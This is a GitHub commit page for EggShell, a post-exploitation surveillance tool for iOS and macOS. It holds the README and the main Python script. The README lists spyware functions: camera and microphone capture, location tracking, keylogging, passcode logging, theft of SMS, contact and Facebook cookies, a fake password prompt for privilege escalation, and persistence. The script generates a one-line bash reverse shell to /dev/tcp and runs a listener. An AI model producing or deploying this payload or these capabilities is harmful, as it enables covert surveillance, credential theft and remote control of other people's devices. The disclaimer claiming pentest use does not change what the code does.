Skip to content

Commit 916d19b

Browse files
The404HackingThe404Hacking
committed
Revert ":tada: Added .gitattributes & .gitignore files"
This reverts commit 5cf794d.
1 parent 49c4063 commit 916d19b

118 files changed

Lines changed: 6451 additions & 0 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

‎README.md‎

Lines changed: 149 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,149 @@
1+
# [EggShell](http://lucasjackson.me/eggshell)
2+
3+
### About EggShell
4+
5+
EggShell is an iOS and macOS post exploitation surveillance pentest tool written in Python. This tool creates 1 line multi stage payloads that give you a command line session with extra functionality. EggShell gives you the power and convenience of uploading/downloading files, taking pictures, location tracking, shell command execution, persistence, escalating privileges, password retrieval, and much more. Server communication features end to end encryption with 128 bit AES and the ability to handle multiple clients. This is a proof of concept pentest tool, intended for use on machines you own.
6+
7+
8+
For detailed information and howto visit http://lucasjackson.me/eggshell
9+
10+
Follow me on twitter: @neoneggplant
11+
12+
## Creating And Running A Payload
13+
EggShell gives us a convenient 1 line payload and listener on our local machine
14+
15+
[![](http://lucasjackson.me/images/eggshell/2.2.1/startup1.png)](http://lucasjackson.me/eggshell)
16+
17+
On the target machine, after the payload is run, we will get a connection back
18+
19+
[![](http://lucasjackson.me/images/eggshell/2.2.1/runpayload.png)](http://lucasjackson.me/eggshell)
20+
21+
[![](http://lucasjackson.me/images/eggshell/2.2.1/connectback.png)](http://lucasjackson.me/eggshell)
22+
23+
## Taking Pictures
24+
Eggshell has the command functionality of taking pictures on both iOS(frontcam/backcam) and macOS(picture)
25+
26+
[![](http://lucasjackson.me/images/eggshell/2.2.1/osxpicture.png)](http://lucasjackson.me/eggshell)
27+
28+
## Password Prompt / Root Privileges
29+
With the prompt command, we can have a password pop up information retrieval + built in privilege escalation
30+
31+
[![](http://lucasjackson.me/images/eggshell/2.2.1/osxprompt.png)](http://lucasjackson.me/eggshell)
32+
33+
[![](http://lucasjackson.me/images/eggshell/2.2.1/escalateosx.png)](http://lucasjackson.me/eggshell)
34+
35+
## Sending SMS through iMessage
36+
[![](http://lucasjackson.me/images/eggshell/2.2.1/osximessage.png)](http://lucasjackson.me/eggshell)
37+
38+
## Interacting With Multiple Sessions
39+
MultiSession gives us easy access to interacting and managing multiple sessions
40+
41+
[![](http://lucasjackson.me/images/eggshell/multisessioninteractpictures.png)](http://lucasjackson.me/eggshell)
42+
43+
## Featured
44+
Featured in EverythingApplePro's video demonstrating an iOS 9.3.3 Webkit vulnerability used to run EggShell
45+
46+
[![EverythingApplePro](http://lucasjackson.me/images/eggshell/2.2.1/featureeep.png)](https://www.youtube.com/embed/iko0bCVW-zk?start=209)
47+
48+
## DISCLAMER
49+
By using EggShell, you agree to the GNU General Public License v2.0 included in the repository. For more details at http://www.gnu.org/licenses/gpl-2.0.html. Using EggShell for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.
50+
51+
## Installation
52+
```sh
53+
git clone https://github.com/neoneggplant/EggShell && cd EggShell
54+
easy_install pycrypto
55+
python eggshell.py
56+
```
57+
58+
## iOS Commands:
59+
* **sysinfo** : get system information
60+
* **cd** : change directories
61+
* **ls** : list contents of directory
62+
* **rm** : delete file
63+
* **pwd** : get current directory
64+
* **download** : download file
65+
* **upload** : upload file
66+
* **frontcam** : take picture through front camera
67+
* **backcam** : take picture through back camera
68+
* **mic** : record microphone
69+
* **getpid** : get process id
70+
* **vibrate** : make device vibrate
71+
* **alert** : make alert show up on device
72+
* **say** : make device speak
73+
* **locate** : get device location
74+
* **respring** : respring device
75+
* **setvol** : set mediaplayer volume
76+
* **getvol** : view mediaplayer volume
77+
* **isplaying** : view mediaplayer info
78+
* **openurl** : open url on device
79+
* **dial** : dial number on device
80+
* **getsms** : download sms database
81+
* **getnotes** : download notes database
82+
* **getcontacts** : download addressbook
83+
* **battery** : get battery level
84+
* **listapps** : list bundle identifiers
85+
* **open** : open app
86+
* **persistence** : installs LaunchDaemon - tries to connect every 30 seconds
87+
* **rmpersistence** : uninstalls LaunchDaemon
88+
* **open** : open app
89+
* **installpro** : installs eggshellpro to device
90+
91+
92+
## EggShell Pro Commands (iOS)
93+
* **lock** : simulate lock button press
94+
* **wake** : wake device from sleeping state
95+
* **home** : simulate home button press
96+
* **doublehome** : simulate home button double press
97+
* **play** : plays music
98+
* **pause** : pause music
99+
* **next** : next track
100+
* **prev** : previous track
101+
* **togglemute** : programatically toggles silence switch
102+
* **ismuted** : check if we are silenced or not
103+
* **islocked** : check if device is locked
104+
* **getpasscode** : log successfull passcode attempts
105+
* **unlock** : unlock with passcode
106+
* **keylog** : log keystrokes
107+
* **keylogclear** : clear keylog data
108+
* **locationservice**: turn on or off location services
109+
110+
111+
## macOS Commands
112+
* **cd** : change directories
113+
* **ls** : list contents of directory
114+
* **rm** : delete file
115+
* **pwd** : get current directory
116+
* **download** : download file
117+
* **upload** : upload file
118+
* **getpaste** : get pasteboard contents
119+
* **mic** : record mic
120+
* **picture** : take picture through iSight
121+
* **screenshot** : take screenshot
122+
* **getfacebook** : retrieve facebook session cookies
123+
* **brightness** : adjust screen brightness
124+
* **getvol** : get output volume
125+
* **setvol** : set output volume
126+
* **idletime** : get the amount of time since the keyboard/cursor were touched
127+
* **keyboard** : your keyboard -> is target's keyboard
128+
* **imessage** : send message through the messages app
129+
* **openurl** : open url through the default browser
130+
* **play** : tell iTunes to play
131+
* **pause** : tell iTunes to pause
132+
* **prev** : tell iTunes to play previous track
133+
* **next** : tell iTunes to play next track
134+
* **pid** : get process id
135+
* **prompt** : prompt user to type password
136+
* **su** : su login
137+
* **persistence** : attempts to connect back every 60 seconds
138+
* **rmpersistence** : removes persistence
139+
140+
## Local Commands
141+
* **lls** : list contents of local directory
142+
* **lcd** : change local directories
143+
* **lpwd** : get current local directory
144+
* **lopen** : open local directory
145+
* **clear** : clears terminal
146+
147+
## Notes
148+
* Supports Python 2.7.x
149+
* Expect Updates :)

‎eggshell.py‎

Lines changed: 130 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,130 @@
1+
#!/usr/bin/python
2+
#EggShell
3+
#Created By lucas.py 8-18-16
4+
#TODO: Gain root, and fix for any system() call locally
5+
debug = 0
6+
7+
import base64
8+
import binascii
9+
import os
10+
import random
11+
import string
12+
import sys
13+
import time
14+
from StringIO import StringIO
15+
from threading import Thread
16+
sys.dont_write_bytecode = True
17+
from modules.encryption.ESEncryptor import ESEncryptor
18+
from modules.server.server import ESServer
19+
from modules.helper.helper import Helper
20+
#MARK: Globals
21+
h = Helper()
22+
shellKey = ''.join((random.choice(string.letters+string.digits)) for x in range(32))
23+
server = ESServer(ESEncryptor(shellKey,16),h)
24+
25+
BANNER_ART_TEXT = h.GREEN+"""
26+
.---. .-. . . . \\ `.
27+
| ( )| | | o \\ `.
28+
|--- .-.. .-.. `-. |--. .-. | | \\ `.
29+
| ( |( |( )| |(.-' | | o \\ .`
30+
'---'`-`| `-`| `-' ' `-`--'`-`- \\ .`
31+
._.' ._.' ` """+h.RED+"""
32+
_._._._._._._._._._|"""+h.COLOR_INFO+"______________________________________________."+h.RED+"""
33+
|_#_#_#_#_#_#_#_#_#_|"""+h.COLOR_INFO+"_____________________________________________/"+h.RED+"""
34+
l
35+
"""+h.WHITE+"\nVersion: 2.2.2\nCreated By Lucas Jackson (@neoneggplant)\n"+h.ENDC
36+
BANNER_MENU_TEXT = h.WHITE+"-"*40+"\n"+""" Menu:
37+
1): Start Server
38+
2): Start Multi Server
39+
3): Create Payload
40+
4): Exit
41+
"""+h.WHITE+"-"*40
42+
BANNER = BANNER_ART_TEXT+""+BANNER_MENU_TEXT+"\n"+h.NES
43+
ONMENU = 1
44+
def menu():
45+
global ONMENU
46+
while 1:
47+
ONMENU = 1
48+
os.system(h.CMD_CLEAR)
49+
option = raw_input(BANNER)
50+
choose = {
51+
"1" : menuStartServer,
52+
"2" : menuStartMultiServer,
53+
"3" : menuCreateScript,
54+
"4" : menuExit
55+
}
56+
try:
57+
ONMENU = 0
58+
choose[option]()
59+
os.system(h.CMD_CLEAR)
60+
except KeyError:
61+
ONMENU = 1
62+
continue
63+
64+
def promptHostPort():
65+
lhost = server.getip()
66+
lport = None
67+
hostChoice = raw_input("SET LHOST (Leave blank for "+lhost+")>")
68+
if hostChoice != "":
69+
lhost = hostChoice
70+
h.strinfo("LHOST = " + lhost)
71+
#validate int
72+
while 1:
73+
try:
74+
lport = raw_input("SET LPORT (Leave blank for 4444)>")
75+
if not lport:
76+
lport = 4444
77+
lport = int(lport)
78+
if lport < 1024:
79+
h.strinfo("invalid port, please enter a value >= 1024")
80+
continue
81+
break
82+
except KeyboardInterrupt:
83+
return
84+
except:
85+
h.strinfo("invalid port, please enter a valid integer")
86+
87+
h.strinfo("LPORT = " + str(lport))
88+
return [lhost,lport]
89+
90+
def promptServerRun(host,port):
91+
if raw_input(h.NES+"Start Server? (Y/n): ") == "n":
92+
return
93+
else:
94+
if raw_input(h.NES+"Multi Server? (y/N): ") == "y":
95+
server.multiServer(host,port)
96+
else:
97+
server.singleServer(host,port)
98+
99+
#MARK: Menu Functions
100+
101+
def menuStartServer(): #1
102+
sp = promptHostPort()
103+
if not sp:
104+
return
105+
server.singleServer(sp[0],sp[1])
106+
107+
def menuStartMultiServer(): #2
108+
sp = promptHostPort()
109+
server.multiServer(sp[0],sp[1]);
110+
menu()
111+
112+
def menuCreateScript(): #3
113+
sp = promptHostPort()
114+
print h.COLOR_INFO+"bash &> /dev/tcp/"+sp[0]+"/"+str(sp[1])+" 0>&1"+h.ENDC
115+
promptServerRun(sp[0],sp[1])
116+
117+
def menuExit(): #4
118+
exit()
119+
120+
def main():
121+
global ONMENU
122+
while 1:
123+
try:
124+
menu()
125+
except KeyboardInterrupt:
126+
if ONMENU == 1:
127+
print ""
128+
exit()
129+
130+
main()

0 commit comments

Comments
 (0)